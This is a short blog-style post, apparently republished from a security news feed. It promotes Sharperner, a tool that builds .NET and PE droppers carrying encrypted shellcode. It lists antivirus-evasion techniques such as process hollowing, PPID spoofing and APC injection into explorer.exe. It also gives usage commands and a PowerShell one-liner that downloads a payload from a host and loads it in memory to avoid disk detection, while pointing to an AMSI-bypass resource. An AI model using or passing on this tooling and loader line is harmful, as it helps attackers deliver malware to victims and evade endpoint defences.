Sharperner - Simple Executable Generator With Encrypted Shellcode
Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.
PE binary
- Process Hollowing
- PPID Spoofing
- Random generated AES key and iv
- Final Shellcode, Key and IV are translated to morse code :)
.NET binary
- AES + XOR encrypted shellcode
- APC Process Injection (explorer.exe)
- Random function names
- Random generated AES key and iv
- Final Shellcode, Key and IV are translated to morse code :)
Usage
/file B64,hex,raw shellcode/type cs,cpp/out Output file Location (Optional)Example:Sharperner.exe /file:file.txt /type:cppSharperner.exe /file:file.txt /out:payload.exe
Suggestion
To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')$assem = [System.Reflection.Assembly]::Load($data)[TotallyNotMal.Program]::Main()
Source: feedproxy.google.com
Sharperner - Simple Executable Generator With Encrypted Shellcode
Reviewed by Anonymous
on
2:35 PM
Rating: